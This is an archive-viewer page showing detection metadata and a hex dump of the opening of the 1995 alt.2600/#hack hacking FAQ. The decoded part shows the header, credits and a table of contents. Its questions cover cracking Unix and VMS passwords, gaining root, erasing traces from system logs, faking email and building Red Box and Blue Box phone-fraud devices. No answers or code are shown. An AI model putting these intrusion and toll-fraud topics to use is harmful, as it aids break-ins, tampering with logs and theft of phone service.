home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / HACKFAQ.ZIP / HACKFAQ.10 < prev   
Mailbox/MIME Entity  |  1995-02-26  |  172.0 KB

open in: MacOS 8.1     |     Win98     |     DOS

view JSON data     |     view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: HACKFAQ.10

ConfidenceProgramDetectionMatch TypeSupport
100% dexvert Mailbox/MIME Entity (archive/mbox) magic Supported
100% dexvert Internet Message Format (text/imf) magic Supported
1% dexvert Text File (text/txt) fallback Supported
100% file Mailbox text, 1st line "From will@gnu.ai.mit.edu (Will Spencer)" default
99% file data default
100% TrID E-Mail message (Var. 2) default
100% perlTextCheck Likely Text (Perl) default
100% siegfried x-fmt/111 Plain Text File default
100% detectItEasy Format: plain text[CRLF] default (weak)
100% xdgMime application/mbox default



hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 77 69 6c | 6c 40 67 6e 75 2e 61 69 |From wil|l@gnu.ai|
|00000010| 2e 6d 69 74 2e 65 64 75 | 20 28 57 69 6c 6c 20 53 |.mit.edu| (Will S|
|00000020| 70 65 6e 63 65 72 29 0d | 0a 4e 65 77 73 67 72 6f |pencer).|.Newsgro|
|00000030| 75 70 73 3a 20 61 6c 74 | 2e 32 36 30 30 2c 61 6c |ups: alt|.2600,al|
|00000040| 74 2e 61 6e 73 77 65 72 | 73 2c 6e 65 77 73 2e 61 |t.answer|s,news.a|
|00000050| 6e 73 77 65 72 73 0d 0a | 53 75 62 6a 65 63 74 3a |nswers..|Subject:|
|00000060| 20 61 6c 74 2e 32 36 30 | 30 20 46 41 51 2c 20 42 | alt.260|0 FAQ, B|
|00000070| 65 74 61 20 2e 30 31 30 | 20 2d 20 50 61 72 74 20 |eta .010| - Part |
|00000080| 31 2f 31 0d 0a 46 6f 6c | 6c 6f 77 75 70 2d 54 6f |1/1..Fol|lowup-To|
|00000090| 3a 20 61 6c 74 2e 32 36 | 30 30 0d 0a 52 65 70 6c |: alt.26|00..Repl|
|000000a0| 79 2d 54 6f 3a 20 77 69 | 6c 6c 40 67 6e 75 2e 61 |y-To: wi|ll@gnu.a|
|000000b0| 69 2e 6d 69 74 2e 65 64 | 75 20 28 46 41 51 20 43 |i.mit.ed|u (FAQ C|
|000000c0| 6f 6d 6d 65 6e 74 73 20 | 61 64 64 72 65 73 73 29 |omments |address)|
|000000d0| 0d 0a 53 75 6d 6d 61 72 | 79 3a 20 54 68 69 73 20 |..Summar|y: This |
|000000e0| 70 6f 73 74 69 6e 67 20 | 63 6f 6e 74 61 69 6e 73 |posting |contains|
|000000f0| 20 61 20 6c 69 73 74 20 | 6f 66 20 46 72 65 71 75 | a list |of Frequ|
|00000100| 65 6e 74 6c 79 20 41 73 | 6b 65 64 0d 0a 09 20 51 |ently As|ked... Q|
|00000110| 75 65 73 74 69 6f 6e 73 | 20 28 61 6e 64 20 74 68 |uestions| (and th|
|00000120| 65 69 72 20 61 6e 73 77 | 65 72 73 29 20 61 62 6f |eir answ|ers) abo|
|00000130| 75 74 20 68 61 63 6b 69 | 6e 67 2e 20 20 49 74 0d |ut hacki|ng. It.|
|00000140| 0a 09 20 73 68 6f 75 6c | 64 20 62 65 20 72 65 61 |.. shoul|d be rea|
|00000150| 64 20 62 79 20 61 6e 79 | 6f 6e 65 20 77 68 6f 20 |d by any|one who |
|00000160| 77 69 73 68 65 73 20 74 | 6f 20 70 6f 73 74 20 74 |wishes t|o post t|
|00000170| 6f 20 74 68 65 0d 0a 09 | 20 61 6c 74 2e 32 36 30 |o the...| alt.260|
|00000180| 30 20 6e 65 77 73 67 72 | 6f 75 70 20 6f 72 20 75 |0 newsgr|oup or u|
|00000190| 73 65 20 74 68 65 20 49 | 52 43 20 63 68 61 6e 6e |se the I|RC chann|
|000001a0| 65 6c 20 23 68 61 63 6b | 2e 0d 0a 0d 0a 41 72 63 |el #hack|.....Arc|
|000001b0| 68 69 76 65 2d 6e 61 6d | 65 3a 20 61 6c 74 2d 32 |hive-nam|e: alt-2|
|000001c0| 36 30 30 2d 66 61 71 0d | 0a 50 6f 73 74 69 6e 67 |600-faq.|.Posting|
|000001d0| 2d 46 72 65 71 75 65 6e | 63 79 3a 20 52 61 6e 64 |-Frequen|cy: Rand|
|000001e0| 6f 6d 0d 0a 4c 61 73 74 | 2d 4d 6f 64 69 66 69 65 |om..Last|-Modifie|
|000001f0| 64 3a 20 31 39 39 34 2f | 31 32 2f 31 38 0d 0a 56 |d: 1994/|12/18..V|
|00000200| 65 72 73 69 6f 6e 3a 20 | 42 65 74 61 20 2e 30 31 |ersion: |Beta .01|
|00000210| 30 0d 0a 0d 0a 0d 0a 45 | 64 69 74 6f 72 73 20 4e |0......E|ditors N|
|00000220| 6f 74 65 3a 20 57 65 6c | 63 6f 6d 65 20 74 6f 20 |ote: Wel|come to |
|00000230| 42 65 74 61 20 2e 30 31 | 30 20 6f 66 20 74 68 65 |Beta .01|0 of the|
|00000240| 20 61 6c 74 2e 32 36 30 | 30 2f 23 68 61 63 6b 20 | alt.260|0/#hack |
|00000250| 46 41 51 21 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |FAQ!....| |
|00000260| 20 20 20 20 20 20 45 6c | 65 65 74 20 67 72 65 65 | El|eet gree|
|00000270| 74 73 20 67 6f 20 6f 75 | 74 20 74 6f 20 4f 75 74 |ts go ou|t to Out|
|00000280| 73 69 64 65 72 20 66 6f | 72 20 70 72 6f 64 75 63 |sider fo|r produc|
|00000290| 69 6e 67 20 61 6e 0d 0a | 20 20 20 20 20 20 20 20 |ing an..| |
|000002a0| 20 20 20 20 20 20 65 78 | 63 65 6c 6c 65 6e 74 20 | ex|cellent |
|000002b0| 57 57 57 20 76 65 72 73 | 69 6f 6e 20 6f 66 20 74 |WWW vers|ion of t|
|000002c0| 68 69 73 20 64 6f 63 75 | 6d 65 6e 74 20 61 74 3a |his docu|ment at:|
|000002d0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000002e0| 68 74 74 70 3a 2f 2f 77 | 77 77 2e 65 6e 67 69 6e |http://w|ww.engin|
|000002f0| 2e 75 6d 69 63 68 2e 65 | 64 75 2f 7e 6a 67 6f 74 |.umich.e|du/~jgot|
|00000300| 74 73 2f 68 61 63 6b 2d | 66 61 71 2e 68 74 6d 6c |ts/hack-|faq.html|
|00000310| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00000320| 20 20 54 68 65 20 70 75 | 72 70 6f 73 65 20 6f 66 | The pu|rpose of|
|00000330| 20 74 68 69 73 20 46 41 | 51 20 69 73 20 74 6f 20 | this FA|Q is to |
|00000340| 67 69 76 65 20 79 6f 75 | 20 61 20 67 65 6e 65 72 |give you| a gener|
|00000350| 61 6c 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |al.. | |
|00000360| 20 20 69 6e 74 72 6f 64 | 75 63 74 69 6f 6e 20 74 | introd|uction t|
|00000370| 6f 20 74 68 65 20 74 6f | 70 69 63 73 20 63 6f 76 |o the to|pics cov|
|00000380| 65 72 65 64 20 69 6e 20 | 61 6c 74 2e 32 36 30 30 |ered in |alt.2600|
|00000390| 20 61 6e 64 0d 0a 20 20 | 20 20 20 20 20 20 20 20 | and.. | |
|000003a0| 20 20 20 20 23 68 61 63 | 6b 2e 20 20 4e 6f 20 64 | #hac|k. No d|
|000003b0| 6f 63 75 6d 65 6e 74 20 | 77 69 6c 6c 20 6d 61 6b |ocument |will mak|
|000003c0| 65 20 79 6f 75 20 61 20 | 68 61 63 6b 65 72 2e 0d |e you a |hacker..|
|000003d0| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|000003e0| 20 49 66 20 79 6f 75 20 | 68 61 76 65 20 61 20 71 | If you |have a q|
|000003f0| 75 65 73 74 69 6f 6e 73 | 20 72 65 67 61 72 64 69 |uestions| regardi|
|00000400| 6e 67 20 61 6e 79 20 6f | 66 20 74 68 65 20 74 6f |ng any o|f the to|
|00000410| 70 69 63 73 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |pics.. | |
|00000420| 20 20 20 20 63 6f 76 65 | 72 65 64 20 69 6e 20 74 | cove|red in t|
|00000430| 68 65 20 46 41 51 2c 20 | 70 6c 65 61 73 65 20 64 |he FAQ, |please d|
|00000440| 69 72 65 63 74 20 69 74 | 20 74 6f 20 61 6c 74 2e |irect it| to alt.|
|00000450| 32 36 30 30 20 6f 72 0d | 0a 20 20 20 20 20 20 20 |2600 or.|. |
|00000460| 20 20 20 20 20 20 20 23 | 68 61 63 6b 2e 20 20 50 | #|hack. P|
|00000470| 6c 65 61 73 65 20 64 6f | 20 6e 6f 74 20 65 2d 6d |lease do| not e-m|
|00000480| 61 69 6c 20 6d 65 20 77 | 69 74 68 20 74 68 65 6d |ail me w|ith them|
|00000490| 2c 20 49 27 6d 20 67 65 | 74 74 69 6e 67 0d 0a 20 |, I'm ge|tting.. |
|000004a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 73 77 61 | | swa|
|000004b0| 6d 70 65 64 2e 0d 0a 0d | 0a 20 20 20 20 20 20 20 |mped....|. |
|000004c0| 20 20 20 20 20 20 20 49 | 66 20 79 6f 75 72 20 63 | I|f your c|
|000004d0| 6f 70 79 20 6f 66 20 74 | 68 65 20 23 68 61 63 6b |opy of t|he #hack|
|000004e0| 20 46 41 51 20 64 6f 65 | 73 20 6e 6f 74 20 65 6e | FAQ doe|s not en|
|000004f0| 64 20 77 69 74 68 20 74 | 68 65 0d 0a 20 20 20 20 |d with t|he.. |
|00000500| 20 20 20 20 20 20 20 20 | 20 20 6c 65 74 74 65 72 | | letter|
|00000510| 73 20 45 4f 54 20 6f 6e | 20 61 20 6c 69 6e 65 20 |s EOT on| a line |
|00000520| 62 79 20 74 68 65 6d 73 | 65 6c 76 65 73 2c 20 79 |by thems|elves, y|
|00000530| 6f 75 20 64 6f 20 6e 6f | 74 20 68 61 76 65 20 74 |ou do no|t have t|
|00000540| 68 65 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |he.. | |
|00000550| 20 20 65 6e 74 69 72 65 | 20 46 41 51 2e 0d 0a 0d | entire| FAQ....|
|00000560| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000580| 20 20 20 20 2a 2a 20 42 | 45 54 41 20 2a 2a 0d 0a | ** B|ETA **..|
|00000590| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000005a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 42 | | B|
|000005b0| 65 74 61 20 52 65 76 69 | 73 69 6f 6e 20 2e 30 31 |eta Revi|sion .01|
|000005c0| 30 0d 0a 0d 0a 09 09 09 | 20 20 20 20 61 6c 74 2e |0.......| alt.|
|000005d0| 32 36 30 30 2f 23 48 61 | 63 6b 20 46 2e 41 2e 51 |2600/#Ha|ck F.A.Q|
|000005e0| 2e 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |..... | |
|000005f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 41 20 54 | | A T|
|00000600| 4e 4f 20 43 6f 6d 6d 75 | 6e 69 63 61 74 69 6f 6e |NO Commu|nication|
|00000610| 20 50 72 6f 64 75 63 74 | 69 6f 6e 0d 0a 0d 0a 20 | Product|ion.... |
|00000620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000630| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000640| 20 20 20 62 79 0d 0a 09 | 09 09 09 20 20 56 6f 79 | by...|... Voy|
|00000650| 61 67 65 72 0d 0a 09 09 | 09 20 20 20 20 77 69 6c |ager....|. wil|
|00000660| 6c 40 67 6e 75 2e 61 69 | 2e 6d 69 74 2e 65 64 75 |l@gnu.ai|.mit.edu|
|00000670| 0d 0a 0d 0a 09 09 09 09 | 53 79 73 6f 70 20 6f 66 |........|Sysop of|
|00000680| 0d 0a 09 09 09 20 20 20 | 20 20 48 61 63 6b 65 72 |..... | Hacker|
|00000690| 27 73 20 48 61 76 65 6e | 0d 0a 09 09 09 20 20 20 |'s Haven|..... |
|000006a0| 20 20 20 28 33 30 33 29 | 33 34 33 2d 34 30 35 33 | (303)|343-4053|
|000006b0| 0d 0a 0d 0a 09 09 09 20 | 20 20 57 69 74 68 20 73 |....... | With s|
|000006c0| 70 65 63 69 61 6c 20 74 | 68 61 6e 6b 73 20 74 6f |pecial t|hanks to|
|000006d0| 3a 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 41 2d 46 |:.... | A-F|
|000006e0| 6c 61 74 2c 20 41 6c 2c | 20 41 6c 65 70 68 31 2c |lat, Al,| Aleph1,|
|000006f0| 20 42 6c 75 65 73 6d 61 | 6e 2c 20 43 2d 43 75 72 | Bluesma|n, C-Cur|
|00000700| 76 65 2c 20 44 65 61 64 | 4b 61 74 2c 20 45 64 69 |ve, Dead|Kat, Edi|
|00000710| 73 6f 6e 2c 0d 0a 20 20 | 20 20 20 20 20 20 48 6f |son,.. | Ho|
|00000720| 62 62 69 74 2c 20 4b 43 | 72 6f 77 2c 20 4d 61 6a |bbit, KC|row, Maj|
|00000730| 6f 72 2c 20 4d 61 72 61 | 75 64 65 72 2c 20 4e 6f |or, Mara|uder, No|
|00000740| 76 6f 63 61 69 6e 2c 20 | 4f 75 74 73 69 64 65 72 |vocain, |Outsider|
|00000750| 2c 20 50 72 65 73 65 6e | 63 65 2c 0d 0a 20 20 20 |, Presen|ce,.. |
|00000760| 20 20 20 20 20 52 6f 67 | 75 65 20 41 67 65 6e 74 | Rog|ue Agent|
|00000770| 2c 20 73 62 69 6e 2c 20 | 54 61 72 61 6e 20 4b 69 |, sbin, |Taran Ki|
|00000780| 6e 67 2c 20 54 6f 6d 65 | 73 20 61 6e 64 20 54 68 |ng, Tome|s and Th|
|00000790| 65 53 61 69 6e 74 2e 0d | 0a 0d 0a 0d 0a 09 09 20 |eSaint..|....... |
|000007a0| 20 20 20 20 20 20 57 65 | 20 77 6f 72 6b 20 69 6e | We| work in|
|000007b0| 20 74 68 65 20 64 61 72 | 6b 0d 0a 09 09 20 20 20 | the dar|k.... |
|000007c0| 20 20 20 20 57 65 20 64 | 6f 20 77 68 61 74 20 77 | We d|o what w|
|000007d0| 65 20 63 61 6e 0d 0a 09 | 09 20 20 20 20 20 20 20 |e can...|. |
|000007e0| 57 65 20 67 69 76 65 20 | 77 68 61 74 20 77 65 20 |We give |what we |
|000007f0| 68 61 76 65 0d 0a 09 09 | 20 20 20 20 20 20 20 4f |have....| O|
|00000800| 75 72 20 64 6f 75 62 74 | 20 69 73 20 6f 75 72 20 |ur doubt| is our |
|00000810| 70 61 73 73 69 6f 6e 2c | 0d 0a 09 09 20 20 20 20 |passion,|.... |
|00000820| 20 20 20 61 6e 64 20 6f | 75 72 20 70 61 73 73 69 | and o|ur passi|
|00000830| 6f 6e 20 69 73 20 6f 75 | 72 20 74 61 73 6b 0d 0a |on is ou|r task..|
|00000840| 09 09 20 20 20 20 20 20 | 20 54 68 65 20 72 65 73 |.. | The res|
|00000850| 74 20 69 73 20 74 68 65 | 20 6d 61 64 6e 65 73 73 |t is the| madness|
|00000860| 20 6f 66 20 61 72 74 2e | 0d 0a 0d 0a 09 09 09 09 | of art.|........|
|00000870| 2d 2d 20 48 65 6e 72 79 | 20 4a 61 6d 65 73 0d 0a |-- Henry| James..|
|00000880| 0d 0a 0d 0a 0d 0a 53 65 | 63 74 69 6f 6e 20 41 3a |......Se|ction A:|
|00000890| 20 43 6f 6d 70 75 74 65 | 72 73 0d 0a 0d 0a 20 20 | Compute|rs.... |
|000008a0| 30 31 2e 20 48 6f 77 20 | 64 6f 20 49 20 61 63 63 |01. How |do I acc|
|000008b0| 65 73 73 20 74 68 65 20 | 70 61 73 73 77 6f 72 64 |ess the |password|
|000008c0| 20 66 69 6c 65 20 75 6e | 64 65 72 20 55 6e 69 78 | file un|der Unix|
|000008d0| 3f 0d 0a 55 20 30 32 2e | 20 48 6f 77 20 64 6f 20 |?..U 02.| How do |
|000008e0| 49 20 63 72 61 63 6b 20 | 55 6e 69 78 20 70 61 73 |I crack |Unix pas|
|000008f0| 73 77 6f 72 64 73 3f 0d | 0a 20 20 30 33 2e 20 57 |swords?.|. 03. W|
|00000900| 68 61 74 20 69 73 20 70 | 61 73 73 77 6f 72 64 20 |hat is p|assword |
|00000910| 73 68 61 64 6f 77 69 6e | 67 3f 0d 0a 20 20 30 34 |shadowin|g?.. 04|
|00000920| 2e 20 57 68 65 72 65 20 | 63 61 6e 20 49 20 66 69 |. Where |can I fi|
|00000930| 6e 64 20 74 68 65 20 70 | 61 73 73 77 6f 72 64 20 |nd the p|assword |
|00000940| 66 69 6c 65 20 69 66 20 | 69 74 27 73 20 73 68 61 |file if |it's sha|
|00000950| 64 6f 77 65 64 3f 0d 0a | 20 20 30 35 2e 20 57 68 |dowed?..| 05. Wh|
|00000960| 61 74 20 69 73 20 4e 49 | 53 2f 79 70 3f 0d 0a 20 |at is NI|S/yp?.. |
|00000970| 20 30 36 2e 20 57 68 61 | 74 20 61 72 65 20 74 68 | 06. Wha|t are th|
|00000980| 6f 73 65 20 77 65 69 72 | 64 20 63 68 61 72 61 63 |ose weir|d charac|
|00000990| 74 65 72 73 20 61 66 74 | 65 72 20 74 68 65 20 63 |ters aft|er the c|
|000009a0| 6f 6d 6d 61 20 69 6e 20 | 6d 79 20 70 61 73 73 77 |omma in |my passw|
|000009b0| 64 20 66 69 6c 65 3f 0d | 0a 20 20 30 37 2e 20 48 |d file?.|. 07. H|
|000009c0| 6f 77 20 64 6f 20 49 20 | 61 63 63 65 73 73 20 74 |ow do I |access t|
|000009d0| 68 65 20 70 61 73 73 77 | 6f 72 64 20 66 69 6c 65 |he passw|ord file|
|000009e0| 20 75 6e 64 65 72 20 56 | 4d 53 3f 0d 0a 20 20 30 | under V|MS?.. 0|
|000009f0| 38 2e 20 48 6f 77 20 64 | 6f 20 49 20 63 72 61 63 |8. How d|o I crac|
|00000a00| 6b 20 56 4d 53 20 70 61 | 73 73 77 6f 72 64 73 3f |k VMS pa|sswords?|
|00000a10| 0d 0a 20 20 30 39 2e 20 | 48 6f 77 20 64 6f 20 49 |.. 09. |How do I|
|00000a20| 20 62 72 65 61 6b 20 6f | 75 74 20 6f 66 20 61 20 | break o|ut of a |
|00000a30| 72 65 73 74 72 69 63 74 | 65 64 20 73 68 65 6c 6c |restrict|ed shell|
|00000a40| 3f 0d 0a 20 20 31 30 2e | 20 48 6f 77 20 64 6f 20 |?.. 10.| How do |
|00000a50| 49 20 67 61 69 6e 20 72 | 6f 6f 74 20 66 72 6f 6d |I gain r|oot from|
|00000a60| 20 61 20 73 75 69 64 20 | 73 63 72 69 70 74 20 6f | a suid |script o|
|00000a70| 72 20 70 72 6f 67 72 61 | 6d 3f 0d 0a 20 20 31 31 |r progra|m?.. 11|
|00000a80| 2e 20 48 6f 77 20 64 6f | 20 49 20 65 72 61 73 65 |. How do| I erase|
|00000a90| 20 6d 79 20 70 72 65 73 | 65 6e 63 65 20 66 72 6f | my pres|ence fro|
|00000aa0| 6d 20 74 68 65 20 73 79 | 73 74 65 6d 20 6c 6f 67 |m the sy|stem log|
|00000ab0| 73 3f 0d 0a 20 20 31 32 | 2e 20 48 6f 77 20 64 6f |s?.. 12|. How do|
|00000ac0| 20 49 20 73 65 6e 64 20 | 66 61 6b 65 6d 61 69 6c | I send |fakemail|
|00000ad0| 3f 0d 0a 20 20 31 33 2e | 20 48 6f 77 20 64 6f 20 |?.. 13.| How do |
|00000ae0| 49 20 66 61 6b 65 20 70 | 6f 73 74 73 20 74 6f 20 |I fake p|osts to |
|00000af0| 55 73 65 4e 65 74 3f 0d | 0a 20 20 31 34 2e 20 48 |UseNet?.|. 14. H|
|00000b00| 6f 77 20 64 6f 20 49 20 | 68 61 63 6b 20 43 68 61 |ow do I |hack Cha|
|00000b10| 6e 4f 70 20 6f 6e 20 49 | 52 43 3f 0d 0a 20 20 31 |nOp on I|RC?.. 1|
|00000b20| 35 2e 20 48 6f 77 20 64 | 6f 20 49 20 6d 6f 64 69 |5. How d|o I modi|
|00000b30| 66 79 20 74 68 65 20 49 | 52 43 20 63 6c 69 65 6e |fy the I|RC clien|
|00000b40| 74 20 74 6f 20 68 69 64 | 65 20 6d 79 20 72 65 61 |t to hid|e my rea|
|00000b50| 6c 20 75 73 65 72 6e 61 | 6d 65 3f 0d 0a 55 20 31 |l userna|me?..U 1|
|00000b60| 36 2e 20 48 6f 77 20 74 | 6f 20 49 20 63 68 61 6e |6. How t|o I chan|
|00000b70| 67 65 20 74 6f 20 64 69 | 72 65 63 74 6f 72 69 65 |ge to di|rectorie|
|00000b80| 73 20 77 69 74 68 20 73 | 74 72 61 6e 67 65 20 63 |s with s|trange c|
|00000b90| 68 61 72 61 63 74 65 72 | 73 20 69 6e 20 74 68 65 |haracter|s in the|
|00000ba0| 6d 3f 0d 0a 20 20 31 37 | 2e 20 57 68 61 74 20 69 |m?.. 17|. What i|
|00000bb0| 73 20 65 74 68 65 72 6e | 65 74 20 73 6e 69 66 66 |s ethern|et sniff|
|00000bc0| 69 6e 67 3f 0d 0a 20 20 | 31 38 2e 20 57 68 61 74 |ing?.. |18. What|
|00000bd0| 20 69 73 20 61 6e 20 49 | 6e 74 65 72 6e 65 74 20 | is an I|nternet |
|00000be0| 4f 75 74 64 69 61 6c 3f | 0d 0a 20 20 31 39 2e 20 |Outdial?|.. 19. |
|00000bf0| 57 68 61 74 20 61 72 65 | 20 73 6f 6d 65 20 49 6e |What are| some In|
|00000c00| 74 65 72 6e 65 74 20 4f | 75 74 64 69 61 6c 73 3f |ternet O|utdials?|
|00000c10| 0d 0a 55 20 32 30 2e 20 | 57 68 61 74 20 69 73 20 |..U 20. |What is |
|00000c20| 74 68 69 73 20 73 79 73 | 74 65 6d 3f 0d 0a 55 20 |this sys|tem?..U |
|00000c30| 32 31 2e 20 57 68 61 74 | 20 61 72 65 20 74 68 65 |21. What| are the|
|00000c40| 20 64 65 66 61 75 6c 74 | 20 61 63 63 6f 75 6e 74 | default| account|
|00000c50| 73 20 66 6f 72 20 58 58 | 58 20 3f 0d 0a 20 20 32 |s for XX|X ?.. 2|
|00000c60| 32 2e 20 57 68 61 74 20 | 70 6f 72 74 20 69 73 20 |2. What |port is |
|00000c70| 58 58 58 20 6f 6e 3f 0d | 0a 20 20 32 33 2e 20 57 |XXX on?.|. 23. W|
|00000c80| 68 61 74 20 69 73 20 61 | 20 74 72 6f 6a 61 6e 2f |hat is a| trojan/|
|00000c90| 77 6f 72 6d 2f 76 69 72 | 75 73 2f 6c 6f 67 69 63 |worm/vir|us/logic|
|00000ca0| 20 62 6f 6d 62 3f 0d 0a | 55 20 32 34 2e 20 48 6f | bomb?..|U 24. Ho|
|00000cb0| 77 20 63 61 6e 20 49 20 | 70 72 6f 74 65 63 74 20 |w can I |protect |
|00000cc0| 6d 79 73 65 6c 66 20 66 | 72 6f 6d 20 76 69 72 69 |myself f|rom viri|
|00000cd0| 69 20 61 6e 64 20 73 75 | 63 68 3f 0d 0a 20 20 32 |i and su|ch?.. 2|
|00000ce0| 35 2e 20 57 68 61 74 20 | 69 73 20 43 72 79 70 74 |5. What |is Crypt|
|00000cf0| 6f 78 78 78 78 78 78 78 | 3f 0d 0a 20 20 32 36 2e |oxxxxxxx|?.. 26.|
|00000d00| 20 57 68 61 74 20 69 73 | 20 50 47 50 3f 0d 0a 55 | What is| PGP?..U|
|00000d10| 20 32 37 2e 20 57 68 61 | 74 20 69 73 20 54 65 6d | 27. Wha|t is Tem|
|00000d20| 70 65 73 74 3f 0d 0a 20 | 20 32 38 2e 20 57 68 61 |pest?.. | 28. Wha|
|00000d30| 74 20 69 73 20 61 6e 20 | 61 6e 6f 6e 79 6d 6f 75 |t is an |anonymou|
|00000d40| 73 20 72 65 6d 61 69 6c | 65 72 3f 0d 0a 20 20 32 |s remail|er?.. 2|
|00000d50| 39 2e 20 57 68 61 74 20 | 61 72 65 20 74 68 65 20 |9. What |are the |
|00000d60| 61 64 64 72 65 73 73 65 | 73 20 6f 66 20 73 6f 6d |addresse|s of som|
|00000d70| 65 20 61 6e 6f 6e 79 6d | 6f 75 73 20 72 65 6d 61 |e anonym|ous rema|
|00000d80| 69 6c 65 72 73 3f 0d 0a | 20 20 33 30 2e 20 48 6f |ilers?..| 30. Ho|
|00000d90| 77 20 64 6f 20 49 20 64 | 65 66 65 61 74 20 63 6f |w do I d|efeat co|
|00000da0| 70 79 20 70 72 6f 74 65 | 63 74 69 6f 6e 3f 0d 0a |py prote|ction?..|
|00000db0| 20 20 33 31 2e 20 57 68 | 61 74 20 69 73 20 31 32 | 31. Wh|at is 12|
|00000dc0| 37 2e 30 2e 30 2e 31 3f | 0d 0a 0d 0a 0d 0a 53 65 |7.0.0.1?|......Se|
|00000dd0| 63 74 69 6f 6e 20 42 3a | 20 54 65 6c 65 70 68 6f |ction B:| Telepho|
|00000de0| 6e 79 0d 0a 0d 0a 55 20 | 30 31 2e 20 57 68 61 74 |ny....U |01. What|
|00000df0| 20 69 73 20 61 20 52 65 | 64 20 42 6f 78 3f 0d 0a | is a Re|d Box?..|
|00000e00| 55 20 30 32 2e 20 48 6f | 77 20 64 6f 20 49 20 62 |U 02. Ho|w do I b|
|00000e10| 75 69 6c 64 20 61 20 52 | 65 64 20 42 6f 78 3f 0d |uild a R|ed Box?.|
|00000e20| 0a 20 20 30 33 2e 20 57 | 68 65 72 65 20 63 61 6e |. 03. W|here can|
|00000e30| 20 49 20 67 65 74 20 61 | 20 36 2e 35 35 33 36 4d | I get a| 6.5536M|
|00000e40| 68 7a 20 63 72 79 73 74 | 61 6c 3f 0d 0a 20 20 30 |hz cryst|al?.. 0|
|00000e50| 34 2e 20 57 68 69 63 68 | 20 70 61 79 70 68 6f 6e |4. Which| payphon|
|00000e60| 65 73 20 77 69 6c 6c 20 | 61 20 52 65 64 20 42 6f |es will |a Red Bo|
|00000e70| 78 20 77 6f 72 6b 20 6f | 6e 3f 0d 0a 4e 20 30 35 |x work o|n?..N 05|
|00000e80| 2e 20 48 6f 77 20 64 6f | 20 49 20 6d 61 6b 65 20 |. How do| I make |
|00000e90| 6c 6f 63 61 6c 20 63 61 | 6c 6c 73 20 77 69 74 68 |local ca|lls with|
|00000ea0| 20 61 20 52 65 64 20 42 | 6f 78 3f 0d 0a 55 20 30 | a Red B|ox?..U 0|
|00000eb0| 36 2e 20 57 68 61 74 20 | 69 73 20 61 20 42 6c 75 |6. What |is a Blu|
|00000ec0| 65 20 42 6f 78 3f 0d 0a | 20 20 30 37 2e 20 44 6f |e Box?..| 07. Do|
|00000ed0| 20 42 6c 75 65 20 42 6f | 78 65 73 20 73 74 69 6c | Blue Bo|xes stil|
|00000ee0| 6c 20 77 6f 72 6b 3f 0d | 0a 20 20 30 38 2e 20 57 |l work?.|. 08. W|
|00000ef0| 68 61 74 20 69 73 20 61 | 20 42 6c 61 63 6b 20 42 |hat is a| Black B|
|00000f00| 6f 78 3f 0d 0a 55 20 30 | 39 2e 20 57 68 61 74 20 |ox?..U 0|9. What |
|00000f10| 64 6f 20 61 6c 6c 20 74 | 68 65 20 63 6f 6c 6f 72 |do all t|he color|
|00000f20| 65 64 20 62 6f 78 65 73 | 20 64 6f 3f 0d 0a 20 20 |ed boxes| do?.. |
|00000f30| 31 30 2e 20 57 68 61 74 | 20 69 73 20 61 6e 20 41 |10. What| is an A|
|00000f40| 4e 41 43 20 6e 75 6d 62 | 65 72 3f 0d 0a 20 20 31 |NAC numb|er?.. 1|
|00000f50| 31 2e 20 57 68 61 74 20 | 69 73 20 74 68 65 20 41 |1. What |is the A|
|00000f60| 4e 41 43 20 6e 75 6d 62 | 65 72 20 66 6f 72 20 6d |NAC numb|er for m|
|00000f70| 79 20 61 72 65 61 3f 0d | 0a 20 20 31 32 2e 20 57 |y area?.|. 12. W|
|00000f80| 68 61 74 20 69 73 20 61 | 20 72 69 6e 67 62 61 63 |hat is a| ringbac|
|00000f90| 6b 20 6e 75 6d 62 65 72 | 3f 0d 0a 55 20 31 33 2e |k number|?..U 13.|
|00000fa0| 20 57 68 61 74 20 69 73 | 20 74 68 65 20 72 69 6e | What is| the rin|
|00000fb0| 67 62 61 63 6b 20 6e 75 | 6d 62 65 72 20 66 6f 72 |gback nu|mber for|
|00000fc0| 20 6d 79 20 61 72 65 61 | 3f 0d 0a 20 20 31 34 2e | my area|?.. 14.|
|00000fd0| 20 57 68 61 74 20 69 73 | 20 61 20 6c 6f 6f 70 3f | What is| a loop?|
|00000fe0| 0d 0a 55 20 31 35 2e 20 | 57 68 61 74 20 69 73 20 |..U 15. |What is |
|00000ff0| 61 20 6c 6f 6f 70 20 69 | 6e 20 6d 79 20 61 72 65 |a loop i|n my are|
|00001000| 61 3f 0d 0a 55 20 31 36 | 2e 20 57 68 61 74 20 69 |a?..U 16|. What i|
|00001010| 73 20 61 20 43 4e 41 20 | 6e 75 6d 62 65 72 3f 0d |s a CNA |number?.|
|00001020| 0a 55 20 31 37 2e 20 57 | 68 61 74 20 69 73 20 74 |.U 17. W|hat is t|
|00001030| 68 65 20 74 65 6c 65 70 | 68 6f 6e 65 20 63 6f 6d |he telep|hone com|
|00001040| 70 61 6e 79 20 43 4e 41 | 20 6e 75 6d 62 65 72 20 |pany CNA| number |
|00001050| 66 6f 72 20 6d 79 20 61 | 72 65 61 3f 0d 0a 55 20 |for my a|rea?..U |
